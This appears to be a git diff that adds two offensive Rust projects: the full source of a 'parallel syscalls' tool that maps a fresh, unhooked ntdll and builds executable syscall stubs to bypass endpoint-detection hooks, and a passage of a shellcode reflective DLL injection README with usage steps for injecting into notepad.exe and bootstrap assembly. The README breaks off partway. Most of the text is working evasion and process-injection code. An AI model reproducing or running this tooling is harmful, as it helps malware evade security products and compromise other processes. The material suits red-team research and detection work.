`nt_create_thread_ex(&mut thread_handle, GENERIC_ALL, null_mut(), GetCurrentProcess(), null_mut(), null_mut(), 0, 0, 0, 0, null_mut())` + +6. Profit \x90 + + +## References + +* https://www.mdsec.co.uk/2022/01/edr-parallel-asis-through-analysis/ +* https://github.com/mdsecactivebreach/ParallelSyscalls/ +* https://github.com/cube0x0/ParallelSyscalls/ +* https://github.com/frkngksl/ParallelNimcalls/ +* https://doc.rust-lang.org/book/ +* https://github.com/microsoft/windows-rs +* https://crates.io/crates/ntapi +* https://crates.io/crates/winapi +* https://crates.io/crates/bstr +* https://twitter.com/MrUn1k0d3r (MrUn1k0d3r's Discord community / Waldo-IRC) +* https://github.com/felix-rs/ntcall-rs/ (Thanks felix-rs) +* https://github.com/Kudaes/DInvoke_rs +* https://github.com/kmanc/remote_code_oxidation +* https://github.com/zorftw/kdmapper-rs +* https://github.com/trickster0/OffensiveRust +* https://twitter.com/rustlang - (Rust Community Discord: Nick12#9400, B3NNY#8794, MaulingMonkey#1444, Zuix#4359, WithinRafael#7014, Jess Gaming#8850, madfrog#5492 and many more) + + diff --git a/memN0ps/psyscalls-rs/ntdll.png b/memN0ps/psyscalls-rs/ntdll.png new file mode 100644 index 0000000..c93d30b Binary files /dev/null and b/memN0ps/psyscalls-rs/ntdll.png differ diff --git a/memN0ps/psyscalls-rs/parallel_syscalls/.gitignore b/memN0ps/psyscalls-rs/parallel_syscalls/.gitignore new file mode 100644 index 0000000..088ba6b --- /dev/null +++ b/memN0ps/psyscalls-rs/parallel_syscalls/.gitignore @@ -0,0 +1,10 @@ +# Generated by Cargo +# will have compiled files and executables +/target/ + +# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries +# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html +Cargo.lock + +# These are backup files generated by rustfmt +**/*.rs.bk diff --git a/memN0ps/psyscalls-rs/parallel_syscalls/Cargo.toml b/memN0ps/psyscalls-rs/parallel_syscalls/Cargo.toml new file mode 100644 index 0000000..180a5ed --- /dev/null +++ b/memN0ps/psyscalls-rs/parallel_syscalls/Cargo.toml @@ -0,0 +1,11 @@ +[package] +name = "parallel_syscalls" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +winapi = { version = "0.3.9", features = ["processthreadsapi", "memoryapi"] } +ntapi = "0.3.7" +bstr = "0.2.17" \ No newline at end of file diff --git a/memN0ps/psyscalls-rs/parallel_syscalls/src/main.rs b/memN0ps/psyscalls-rs/parallel_syscalls/src/main.rs new file mode 100644 index 0000000..3e0ed2a --- /dev/null +++ b/memN0ps/psyscalls-rs/parallel_syscalls/src/main.rs @@ -0,0 +1,50 @@ +use std::{ptr::null_mut, intrinsics::transmute}; +use ntapi::ntpsapi::PPS_ATTRIBUTE_LIST; +use winapi::{um::{winnt::{ACCESS_MASK, GENERIC_ALL}, processthreadsapi::GetCurrentProcess}, shared::{ntdef::{PHANDLE, POBJECT_ATTRIBUTES, HANDLE, PVOID, NTSTATUS, NT_SUCCESS}, minwindef::ULONG, basetsd::SIZE_T}, ctypes::c_void}; + +mod parallel_syscalls; + +// Function to call +type NtCreateThreadEx = unsafe extern "system" fn( + ThreadHandle: PHANDLE, + DesiredAccess: ACCESS_MASK, + ObjectAttributes: POBJECT_ATTRIBUTES, + ProcessHandle: HANDLE, + StartRoutine: PVOID, + Argument: PVOID, + CreateFlags: ULONG, + ZeroBits: SIZE_T, + StackSize: SIZE_T, + MaximumStackSize: SIZE_T, + AttributeList: PPS_ATTRIBUTE_LIST +) -> NTSTATUS; + + +fn main() { + + // Dynamically get the base address of a fresh copy of ntdll.dll using mdsec's technique + let ptr_ntdll = parallel_syscalls::get_module_base_address("ntdll.dll"); + + if ptr_ntdll.is_null() { + panic!("Pointer to ntdll is null"); + } + + //get function address + let nt_create_thread_ex_address = parallel_syscalls::get_function_address(ptr_ntdll, "NtCreateThreadEx"); + + //build system call stub + //let nt_create_thread_ex = parallel_syscalls::build_syscall_stub(syscall_nt_create_thread_ex as u32); + + // Convert to function pointer + let nt_create_thread_ex = unsafe { transmute::<_, NtCreateThreadEx>(nt_create_thread_ex_address) }; + let mut thread_handle : *mut c_void = null_mut(); + + // Call the function pointer in the memory region + let status = unsafe { nt_create_thread_ex(&mut thread_handle, GENERIC_ALL, null_mut(), GetCurrentProcess(), null_mut(), null_mut(), 0, 0, 0, 0, null_mut()) }; + + if !NT_SUCCESS(status) { + panic!("Failed to call NtCreateThreadEx"); + } + + println!("[+] Thread Handle: {:?} and Status: {:?}", thread_handle, status); +} \ No newline at end of file diff --git a/memN0ps/psyscalls-rs/parallel_syscalls/src/parallel_syscalls.rs b/memN0ps/psyscalls-rs/parallel_syscalls/src/parallel_syscalls.rs new file mode 100644 index 0000000..4239223 --- /dev/null +++ b/memN0ps/psyscalls-rs/parallel_syscalls/src/parallel_syscalls.rs @@ -0,0 +1,552 @@ +use std::{ + str, + ptr::{null_mut, copy_nonoverlapping}, + ffi::CStr, collections::BTreeMap, +}; + +use bstr::ByteSlice; + +use std::mem::{zeroed, transmute}; + +use winapi::{ + um::{ + processthreadsapi::{GetCurrentProcess}, + handleapi::{CloseHandle}, + winnt::{IMAGE_DOS_SIGNATURE, PIMAGE_DOS_HEADER, IMAGE_NT_SIGNATURE, PIMAGE_NT_HEADERS, + PIMAGE_SECTION_HEADER, MEM_RESERVE, MEM_COMMIT, ACCESS_MASK, + FILE_READ_DATA, FILE_SHARE_READ, SECTION_ALL_ACCESS, PAGE_READONLY, IMAGE_EXPORT_DIRECTORY, IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_DOS_HEADER, IMAGE_NT_HEADERS64, PAGE_EXECUTE_READ, PAGE_READWRITE, SEC_IMAGE}, + memoryapi::{VirtualAlloc, VirtualProtect}, + }, + shared::{ + ntdef::{NT_SUCCESS, HANDLE, PVOID, UNICODE_STRING, InitializeObjectAttributes, OBJECT_ATTRIBUTES, POBJECT_ATTRIBUTES, NTSTATUS, PHANDLE, PLARGE_INTEGER, OBJ_CASE_INSENSITIVE}, + minwindef::{ULONG}, basetsd::{ULONG_PTR, SIZE_T, PSIZE_T}, + }, + ctypes::{c_void}, +}; + +use ntapi::{ + ntpsapi::{PPEB_LDR_DATA}, + ntpebteb::{PPEB}, + ntldr::{PLDR_DATA_TABLE_ENTRY}, + ntrtl::RtlInitUnicodeString, ntioapi::{IO_STATUS_BLOCK, PIO_STATUS_BLOCK}, ntmmapi::{SECTION_INHERIT, ViewShare}, +}; + + +type NtOpenFile = unsafe extern "system" fn( + FileHandle: PHANDLE, + DesiredAccess: ACCESS_MASK, + ObjectAttributes: POBJECT_ATTRIBUTES, + IoStatusBlock: PIO_STATUS_BLOCK, + ShareAccess: ULONG, + OpenOptions: ULONG +) -> NTSTATUS; + +type NtCreateSection = unsafe extern "system" fn( + SectionHandle: PHANDLE, + DesiredAccess: ACCESS_MASK, + ObjectAttributes: POBJECT_ATTRIBUTES, + MaximumSize: PLARGE_INTEGER, + SectionPageProtection: ULONG, + AllocationAttributes: ULONG, + FileHandle: HANDLE +) -> NTSTATUS; + +type NtMapViewOfSection = unsafe extern "system" fn( + SectionHandle: HANDLE, + ProcessHandle: HANDLE, + BaseAddress: *mut PVOID, + ZeroBits: ULONG_PTR, + CommitSize: SIZE_T, + SectionOffset: PLARGE_INTEGER, + ViewSize: PSIZE_T, + InheritDisposition: SECTION_INHERIT, + AllocationType: ULONG, + Win32Protect: ULONG +) -> NTSTATUS; + +//For VirtualAlloc +const MAX_SYSCALL_STUB_SIZE: u32 = 64; +const PEBOFFSET: u64 = 0x60; + +/* +/// Gets the Process Environment Block Address (PEB) +unsafe fn get_peb_address() -> PPEB { + let mut basic_information: PROCESS_BASIC_INFORMATION = zeroed(); + + let process_handle: HANDLE = GetCurrentProcess(); + let status = NtQueryInformationProcess(process_handle, 0, + &mut basic_information as *mut _ as *mut c_void, + size_of::() as u32, null_mut()); + + if !NT_SUCCESS(status) { + CloseHandle(process_handle); + panic!("[-] NtQueryInformationProcess: failed to retrieves information about the specified process"); + } + + return basic_information.PebBaseAddress; +} +*/ + +// credits: felix-rs +/// Gets the Process Environment Block Address (PEB) +#[inline(always)] +pub fn __readgsqword(offset: u64) -> u64 { + let out: u64; + + unsafe { + std::arch::asm!("mov {}, gs:[{}]", + out(reg) out, in(reg) offset + ); + } + + out +} + +/// Retrieves the specified module from the local process +unsafe fn get_module_by_name(module_name: &str) -> PVOID { + //let peb_ptr: PPEB = get_peb_address(); + let peb_ptr = __readgsqword(PEBOFFSET) as PPEB; + + let mut dll_base = null_mut(); + + let ptr_peb_ldr_data = transmute::<*mut _, PPEB_LDR_DATA>((*peb_ptr).Ldr); + let mut module_list = transmute::<*mut _, PLDR_DATA_TABLE_ENTRY>((*ptr_peb_ldr_data).InLoadOrderModuleList.Flink); + + while !(*module_list).DllBase.is_null() { + + let slice = core::slice::from_raw_parts((*module_list).BaseDllName.Buffer, (*module_list).BaseDllName.Length as usize / 2); + let dll_name = String::from_utf16(slice).unwrap(); + + if dll_name.to_uppercase() == module_name.to_uppercase() { + dll_base = (*module_list).DllBase; + break; + } + module_list = transmute::<*mut _, PLDR_DATA_TABLE_ENTRY>((*module_list).InLoadOrderLinks.Flink); + } + + return dll_base; +} + +/// Retrieves the NT headers of the specified module +unsafe fn get_nt_headers(module_base: PVOID) -> PIMAGE_NT_HEADERS { + let dos_header = transmute::<*mut _, PIMAGE_DOS_HEADER>(module_base); + + if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE { + return null_mut(); + } + + let nt_headers = transmute::(module_base as usize + (*dos_header).e_lfanew as usize); + + if (*nt_headers).Signature != IMAGE_NT_SIGNATURE { + return null_mut(); + } + + nt_headers +} + +/// Retrieves the specified section of the specified module base address +unsafe fn get_sections_header(module_base: PVOID, nt_headers: PIMAGE_NT_HEADERS, section_type: &[u8]) -> (*const u32, &u32) { + + let nt_headers = &*nt_headers; + + let section_header = ((&nt_headers.OptionalHeader as *const _ as usize) + + (nt_headers.FileHeader.SizeOfOptionalHeader as usize)) as PIMAGE_SECTION_HEADER; + + let mut data_section_address = 0 as *const u32; + let mut data_section_size = &0; + + for i in 0..(*nt_headers).FileHeader.NumberOfSections { + let section_header_i = &*(section_header.add(i as usize)); + + let null_byte = section_header_i.Name.iter().position(|c| *c == b'\0').unwrap_or(section_header_i.Name.len()); + let section_name = §ion_header_i.Name[..null_byte]; + + if section_name == section_type { + data_section_address = (module_base as usize + section_header_i.VirtualAddress as usize) as *const u32; + data_section_size = section_header_i.Misc.VirtualSize(); + break; + } + } + + return (data_section_address, data_section_size); +} + +/// Retrieves syscalls from LdrpThunkSignature in the .data section +unsafe fn get_syscalls_from_ldrp_thunk_signature(data_section_address: *const u32, data_section_size: &u32) -> Vec<*mut c_void> { + let mut syscall_ntopenfile: u32 = 0; + let mut syscall_ntcreatesection: u32 = 0; + let mut syscall_ntmapviewofsection: u32 = 0; + + if (*data_section_address) == 0 || data_section_size < &(16 * 5) { + panic!("[-] .data section base address is null or .data section size is less than 80"); + } + + let section_size = (data_section_size - &(16 * 5)) as isize; + + for offset in 0..section_size { + + // Have to divide by 4 because using .offset on a pointer is indexing an array 4 bytes at a time. + if data_section_address.offset(offset).read() == 0xb8d18b4c + && data_section_address.offset(offset + (16 / 4)).read() == 0xb8d18b4c + && data_section_address.offset(offset + (32 / 4)).read() == 0xb8d18b4c + && data_section_address.offset(offset + (48 / 4)).read() == 0xb8d18b4c + && data_section_address.offset(offset + (64 / 4)).read() == 0xb8d18b4c + { + syscall_ntopenfile = data_section_address.offset(offset + (4 / 4)).read() as u32; + syscall_ntcreatesection = data_section_address.offset(offset + (16 + 4) / 4).read() as u32; + syscall_ntmapviewofsection = data_section_address.offset(offset + (64 + 4) / 4).read() as u32; + println!("\n[+] Found NtOpenFile Syscall Number: {:#x}", syscall_ntopenfile); + println!("[+] Found NtCreateSection Syscall Number: {:#x}", syscall_ntcreatesection); + println!("[+] Found NtMapViewOfSection Syscall Number: {:#x}", syscall_ntmapviewofsection); + break; + } + } + + if syscall_ntopenfile == 0 && syscall_ntcreatesection == 0 && syscall_ntmapviewofsection == 0 { + panic!("[-] Failed to find system calls for NtOpenFile, NtCreateSection or NtMapViewOfSection"); + } + + let nt_open_file = build_syscall_stub(syscall_ntopenfile); + let nt_create_section = build_syscall_stub(syscall_ntcreatesection); + let nt_map_view_of_section = build_syscall_stub(syscall_ntmapviewofsection); + + let system_calls = vec![nt_open_file, nt_create_section, nt_map_view_of_section]; + + return system_calls; +} + +/// Builds system calls for the specfied syscall number in the specfied region of memory +pub fn build_syscall_stub(syscall_number: u32) -> *mut c_void { + + //Not optimal from an opsec perspective + let stub_region = unsafe { VirtualAlloc(null_mut(), MAX_SYSCALL_STUB_SIZE as usize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE) }; + + if stub_region.is_null() { + panic!("[-] Failed to allocate memory using VirtualAlloc"); + } + + let mut syscall_stub: Vec = vec![ + 0x4c, 0x8b, 0xd1, // mov r10, rcx + 0xb8, 0x00, 0x00, 0x00, 0x00, // mov eax, xxx + 0x0f, 0x05, // syscall + 0xc3 // ret + ]; + + syscall_stub[4] = syscall_number as u8; + + // Copy the syscall stub to allocated memory region + unsafe { copy_nonoverlapping(syscall_stub.as_ptr(), stub_region as _, syscall_stub.len()) }; + + let mut old_protection = unsafe { std::mem::zeroed() }; + + // Make new buffer as executable + let rv = unsafe { VirtualProtect(stub_region, syscall_stub.len(), PAGE_EXECUTE_READ, &mut old_protection) }; + + if rv == 0 { + panic!("[-] Failed to call VirtualProtect"); + } + + return stub_region; +} + + +/// Loads a unhooked fresh copy of a DLL into the current process +unsafe fn load_dll_into_section(syscalls: Vec<*mut c_void>, dll_path: &str) -> *mut c_void { + let mut file_name: UNICODE_STRING = zeroed::(); + + let mut unicode_dll_path: Vec<_> = dll_path.encode_utf16().collect(); + unicode_dll_path.push(0x0); + RtlInitUnicodeString(&mut file_name, unicode_dll_path.as_ptr()); + + let mut object_attributes: OBJECT_ATTRIBUTES = zeroed::(); + + InitializeObjectAttributes(&mut object_attributes, &mut file_name, OBJ_CASE_INSENSITIVE, null_mut(), null_mut()); + + let ptr_nt_open_file = syscalls[0] as usize; + let ptr_nt_create_section = syscalls[1] as usize; + let ptr_nt_map_view_of_section = syscalls[2] as usize; + + let syscall_nt_open_file = transmute::<_, NtOpenFile>(ptr_nt_open_file); + let syscall_nt_create_section = transmute::<_, NtCreateSection>(ptr_nt_create_section); + let nt_map_view_of_section = transmute::<_, NtMapViewOfSection>(ptr_nt_map_view_of_section); + + let mut file_handle: HANDLE = null_mut(); + let mut io_status_block: IO_STATUS_BLOCK = zeroed(); + + let mut section_handle = null_mut(); + let mut lp_section: *mut c_void = null_mut(); + let mut view_size: usize = 0; + + let status = syscall_nt_open_file(&mut file_handle, FILE_READ_DATA, &mut object_attributes, &mut io_status_block, FILE_SHARE_READ, 0); + + if !NT_SUCCESS(status) { + close_handles(section_handle, file_handle, lp_section); + panic!("[-] Failed to call NtOpenFile: {:?}", status); + } + + let status = syscall_nt_create_section(&mut section_handle, SECTION_ALL_ACCESS, null_mut(), null_mut(), PAGE_READONLY, SEC_IMAGE, file_handle); + + if !NT_SUCCESS(status) { + close_handles(section_handle, file_handle, lp_section); + panic!("[-] Failed to call NtCreateSection: {:?}", status); + } + + let status = nt_map_view_of_section(section_handle, GetCurrentProcess(), &mut lp_section as *mut _ as *mut _, 0, 0, null_mut(), &mut view_size, ViewShare, 0, PAGE_EXECUTE_READ); + + if !NT_SUCCESS(status) { + close_handles(section_handle, file_handle, lp_section); + panic!("[-] Failed to call NtMapViewOfSection: {:?}", status); + } + + close_handles(section_handle, file_handle, lp_section); + + return lp_section; +} + +/// Closes created handled +unsafe fn close_handles(section_handle: HANDLE, file_handle: HANDLE, lp_section: *mut c_void) { + CloseHandle(section_handle); + CloseHandle(file_handle); + CloseHandle(lp_section); +} + +/// Gets user input from the terminal +/* +fn get_input() -> io::Result<()> { + let mut buf = String::new(); + std::io::stdin().read_line(&mut buf)?; + Ok(()) +} + +/// Used for debugging +fn pause() { + match get_input() { + Ok(buffer) => println!("{:?}", buffer), + Err(error) => println!("error: {}", error), + }; +} +*/ + +/// Retrieves all function and addresses from the specfied modules +unsafe fn get_module_exports(module_base: *mut c_void) -> BTreeMap { + let mut exports = BTreeMap::new(); + let dos_header = *(module_base as *mut IMAGE_DOS_HEADER); + + let nt_header = + (module_base as usize + dos_header.e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + let export_directory = (module_base as usize + + (*nt_header).OptionalHeader.DataDirectory + [IMAGE_DIRECTORY_ENTRY_EXPORT as usize] + .VirtualAddress as usize) + as *mut IMAGE_EXPORT_DIRECTORY; + + let names = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfNames as usize) + as *const u32, + (*export_directory).NumberOfNames as _, + ); + + let functions = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfFunctions as usize) + as *const u32, + (*export_directory).NumberOfFunctions as _, + ); + + let ordinals = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfNameOrdinals as usize) + as *const u16, + (*export_directory).NumberOfNames as _, + ); + + //log::info!("[+] Module Base: {:?} Export Directory: {:?} AddressOfNames: {names:p}, AddressOfFunctions: {functions:p}, AddressOfNameOrdinals: {ordinals:p} ", module_base, export_directory); + + for i in 0..(*export_directory).NumberOfNames { + + let name = (module_base as usize + names[i as usize] as usize) as *const i8; + + if let Ok(name) = CStr::from_ptr(name).to_str() { + + let ordinal = ordinals[i as usize] as usize; + + exports.insert( + name.to_string(), + module_base as usize + functions[ordinal] as usize, + ); + } + } + return exports; +} + +/* +/// Retrieves all function and addresses from the specfied modules +unsafe fn get_module_exports(module_base: *mut c_void) -> BTreeMap { + let mut exports = BTreeMap::new(); + let dos_header = *(module_base as *mut IMAGE_DOS_HEADER); + + if dos_header.e_magic != IMAGE_DOS_SIGNATURE { + panic!("[-] Error: get_module_exports failed, DOS header is invalid"); + } + + let nt_header = (module_base as usize + dos_header.e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + if (*nt_header).Signature != IMAGE_NT_SIGNATURE { + panic!("[-] Error: get_module_exports failed, NT header is invalid"); + } + + let export_directory = rva_to_file_offset_pointer(module_base as usize, + (*nt_header).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize].VirtualAddress as u32) as *mut IMAGE_EXPORT_DIRECTORY; + + let names = core::slice::from_raw_parts( + rva_to_file_offset_pointer(module_base as usize, (*export_directory).AddressOfNames) as *const u32, + (*export_directory).NumberOfNames as _, + ); + + let functions = core::slice::from_raw_parts( + rva_to_file_offset_pointer(module_base as usize, (*export_directory).AddressOfFunctions) as *const u32, + (*export_directory).NumberOfFunctions as _, + ); + + let ordinals = core::slice::from_raw_parts( + rva_to_file_offset_pointer(module_base as usize, (*export_directory).AddressOfNameOrdinals) as *const u16, + (*export_directory).NumberOfNames as _, + ); + + println!("[+] Module Base: {:?} Export Directory: {:?} AddressOfNames: {names:p}, AddressOfFunctions: {functions:p}, AddressOfNameOrdinals: {ordinals:p} ", module_base, export_directory); + println!("Number of Names: {:?}", (*export_directory).NumberOfNames); + + for i in 0..(*export_directory).NumberOfNames { + + let name = rva_to_file_offset_pointer(module_base as usize, names[i as usize]) as *const i8; + + if let Ok(name) = CStr::from_ptr(name).to_str() { + + let ordinal = ordinals[i as usize] as usize; + + exports.insert( + name.to_string(), + rva_to_file_offset_pointer(module_base as usize, functions[ordinal]) + ); + } + } + exports +} +*/ + +/* +unsafe fn rva_to_file_offset_pointer(module_base: usize, mut rva: u32) -> usize { + let dos_header = module_base as PIMAGE_DOS_HEADER; + + let nt_headers = (module_base as usize + (*dos_header).e_lfanew as usize) as PIMAGE_NT_HEADERS; + + let ref_nt_headers = &*nt_headers; + + let section_header = ((&ref_nt_headers.OptionalHeader as *const _ as usize) + + (ref_nt_headers.FileHeader.SizeOfOptionalHeader as usize)) as PIMAGE_SECTION_HEADER; + + let number_of_sections = (*nt_headers).FileHeader.NumberOfSections; + + for i in 0..number_of_sections as usize { + + let virt_address = (*section_header.add(i)).VirtualAddress; + let virt_size = (*section_header.add(i)).Misc.VirtualSize(); + + if virt_address <= rva && virt_address + virt_size > rva { + + rva -= (*section_header.add(i)).VirtualAddress; + rva += (*section_header.add(i)).PointerToRawData; + + return module_base + rva as usize; + } + } + + return 0; +}*/ + +/// Extracts the system call number from the specfied function pointer +fn find_bytes(function_ptr: usize) -> usize { + let stub: &'static [u8] = &[0x4c, 0x8b, 0xd1, 0xb8]; + + let func_slice: &[u8] = unsafe { core::slice::from_raw_parts(function_ptr as *const u8, 5) }; + + let syscall: Option = func_slice.find(stub).map(|idx| func_slice[idx + stub.len()]); + + match syscall { + Some(syscall_number) => return syscall_number as usize, + None => println!("[-] System call number not found"), + } + + return 0; +} + +pub fn get_module_base_address(dll_name: &str) -> *mut c_void { + + let syscalls_memory_regions = get_3_magical_syscall_memory_region_for_loading_dll(); + + // Load an unhooked fresh copy of a dll from disk using the system calls from LdrpThunkSignature + let dll_path = "\\??\\C:\\Windows\\System32\\".to_owned(); + let dll = dll_path + dll_name; + + let ptr_dll = unsafe { load_dll_into_section(syscalls_memory_regions, dll.as_str()) }; + println!("[+] Pointer to the fresh copy of the specified DLL: {:?}", ptr_dll); + + return ptr_dll; +} + +pub fn get_3_magical_syscall_memory_region_for_loading_dll() -> Vec<*mut c_void> { + + let section_type = b".data"; + + // Get NTDLL's base address for the current process + let ntdll_module_base = unsafe { get_module_by_name("ntdll.dll") }; + println!("[+] Module Base Address: {:?}", ntdll_module_base); + + // Get NT Headers for NTDLL + let ntdll_nt_headers = unsafe { get_nt_headers(ntdll_module_base) }; + println!("[+] NT Headers Base Address: {:?}", ntdll_nt_headers); + + // Get the .data section for NTDLL + let (ntdll_section_base, ntdll_section_size) = unsafe { get_sections_header(ntdll_module_base, ntdll_nt_headers, section_type) }; + println!("[+] Section Header Base Address: {:?} Section Size: {:?}", ntdll_section_base as *mut c_void, ntdll_section_size); + + // Get the system calls for NtOpenFile, NtCreateSection, NtMapViewOfSection from LdrpThunkSignature from the .data section of NTDLL + let syscalls_memory_regions = unsafe { get_syscalls_from_ldrp_thunk_signature(ntdll_section_base, ntdll_section_size) } ; + println!("\n[+] System call stub memory region: {:?}\n", syscalls_memory_regions); + + return syscalls_memory_regions; +} + +#[allow(dead_code)] +pub fn get_function_address_with_syscall_bytes(ptr_ntdll: *mut c_void, function_to_call: &str) -> usize { + let mut function_ptr = 0; + + //Get the names and addresses of functions in NTDLL + for (name, addr) in unsafe { get_module_exports(ptr_ntdll) } { + if name == function_to_call { + println!("[+] Function: {:?} Address {:#x}", name, addr); + function_ptr = addr; + } + } + + // Get syscalls from the unhooked fresh copy of NTDLL + let system_call_number = find_bytes(function_ptr); + //println!("[+] Syscall Number: {:#x}", system_call_number); + + return system_call_number; +} + +pub fn get_function_address(ptr_ntdll: *mut c_void, function_to_call: &str) -> usize { + let mut function_ptr = 0; + + //Get the names and addresses of functions in NTDLL + for (name, addr) in unsafe { get_module_exports(ptr_ntdll) } { + if name == function_to_call { + println!("name: {:?}", name); + println!("[+] Function: {:?} Address {:#x}", name, addr); + function_ptr = addr; + } + } + + + return function_ptr; +} \ No newline at end of file diff --git a/memN0ps/srdi-rs/.gitattributes b/memN0ps/srdi-rs/.gitattributes new file mode 100644 index 0000000..dfe0770 --- /dev/null +++ b/memN0ps/srdi-rs/.gitattributes @@ -0,0 +1,2 @@ +# Auto detect text files and perform LF normalization +* text=auto diff --git a/memN0ps/srdi-rs/.gitignore b/memN0ps/srdi-rs/.gitignore new file mode 100644 index 0000000..100e5a7 --- /dev/null +++ b/memN0ps/srdi-rs/.gitignore @@ -0,0 +1,16 @@ +# Generated by Cargo +# will have compiled files and executables +debug/ +target/ + +# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries +# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html +Cargo.lock + +# These are backup files generated by rustfmt +**/*.rs.bk + +# MSVC Windows builds of rustc generate these, which store debugging information +*.pdb + +*.bin \ No newline at end of file diff --git a/memN0ps/srdi-rs/Cargo.toml b/memN0ps/srdi-rs/Cargo.toml new file mode 100644 index 0000000..af87a12 --- /dev/null +++ b/memN0ps/srdi-rs/Cargo.toml @@ -0,0 +1,9 @@ +[workspace] + +members = [ + "hash_calculator", + "testdll", + "reflective_loader", + "generate_shellcode", + "inject", +] \ No newline at end of file diff --git a/memN0ps/srdi-rs/LICENSE b/memN0ps/srdi-rs/LICENSE new file mode 100644 index 0000000..43a19c8 --- /dev/null +++ b/memN0ps/srdi-rs/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 memN0ps + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/memN0ps/srdi-rs/Makefile.toml b/memN0ps/srdi-rs/Makefile.toml new file mode 100644 index 0000000..70caa9f --- /dev/null +++ b/memN0ps/srdi-rs/Makefile.toml @@ -0,0 +1,10 @@ +[env] +NAME = "srdi" +DEV = false +PROD = false + +[env.development] +DEV = true + +[env.production] +PROD = true \ No newline at end of file diff --git a/memN0ps/srdi-rs/README.md b/memN0ps/srdi-rs/README.md new file mode 100644 index 0000000..f5ce040 --- /dev/null +++ b/memN0ps/srdi-rs/README.md @@ -0,0 +1,203 @@ +# Shellcode Reflective DLL Injection (sRDI) + +## Description + +Shellcode reflective DLL injection (sRDI) is a process injection technique that allows us to convert a given DLL into a position-independent shellcode which can then be injected using our favorite shellcode injection and execution technique. + +## Install Rust + +https://www.rust-lang.org/tools/install + + +## Install cargo-make + +``` +cargo install --force cargo-make +``` + +## Usage + +1). Build all of the projects using `cargo-make`. + +``` +cargo make --profile production +``` + +2). Generate the shellcode. +``` +generate_shellcode.exe +``` + +3). Use `inject` or bring your own injector (BYOI) and inject the position-independent shellcode with your favorite injection and execution technique. + +``` +inject.exe +``` + +## Example + +``` +cargo make --profile production +generate_shellcode.exe reflective_loader.dll testdll.dll SayHello memN0ps shellcode.bin +inject.exe notepad.exe shellcode.bin +``` + + +# Details + +## Test DLL + +This is the payload that will be executed by the reflective loader. Both the `DllMain` and `SayHello` functions will be called. + +[Why?](https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html) + +*"The assumption of reflective DLL injection is that calling the entry point of the DLL is sufficient to execute the full functionality of the DLL. However, this is often not the case. In fact, [Microsoft advises](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-best-practices) developers to minimize the amount of work done in `DllMain`, and to do “lazy initialization”, avoiding loading additional libraries or creating new threads. The main entry point then, would be in another function that would be called separately after the DLL was loaded."* - Dan Staples + +```rust +#[no_mangle] +#[allow(non_snake_case)] +pub unsafe extern "system" fn DllMain( + _module: HINSTANCE, + call_reason: u32, + _reserved: *mut c_void, +) -> BOOL { + if call_reason == DLL_PROCESS_ATTACH { + MessageBoxA( + 0 as _, + "Rust DLL injected!\0".as_ptr() as _, + "Rust DLL\0".as_ptr() as _, + 0x0, + ); + + 1 + } else { + 1 + } +} + +#[no_mangle] +#[allow(non_snake_case)] +fn SayHello(user_data: *mut c_void, user_data_len: u32) { + let user_data_slice = + unsafe { core::slice::from_raw_parts(user_data as *const u8, user_data_len as _) }; + let user_data = std::str::from_utf8(user_data_slice).unwrap(); + let message = format!("Hello from {}", user_data); + + unsafe { + MessageBoxA( + 0 as _, + message.as_ptr() as _, + "SayHello!\0".as_ptr() as _, + 0x0, + ); + } +} +``` + +## Reflective Loader + +The reflective loader emulates `LoadLibraryA`: + +Step 1) Load required modules and exports by hash + +Step 2) Allocate memory and copy sections and headers into the newly allocated memory (`VirtualAlloc` uses `RW` not `RWX`) + +Step 3) Process image relocations (rebase image) + +Step 4) Process image import table (resolve imports) + +Step 5) Set protection for each section (`VirtualProtect` changes memory protection for each section) + +Step 6) Execute DllMain + +Step 7) Execute USER_FUNCTION + +Step 8) Free memory (new module base memory from `VirtualAlloc` is freed using `VirtualFree`) and exit thread (TODO) + + +## Generate Position Independent Shellcode + +The `generate_shellcode` project will generate shellcode and output a file that looks like this in memory: + +[![sRDI](./sRDI.png)](https://www.netspi.com/blog/technical/adversary-simulation/srdi-shellcode-reflective-dll-injection/) + +This is the bootstrap shellcode that does the magic by passing the parameters and calling the reflective loader: + +```asm +call 0x00 +pop rcx +mov r8, rcx + +push rsi +mov rsi, rsp +and rsp, 0x0FFFFFFFFFFFFFFF0 +sub rsp, 0x30 + +mov qword ptr [rsp + 0x20], rcx +sub qword ptr [rsp + 0x20], 0x5 + +mov dword ptr [rsp + 0x28], + +mov r9, +add r8, + +mov edx, +add rcx, + +call + +nop +nop + +mov rsp, 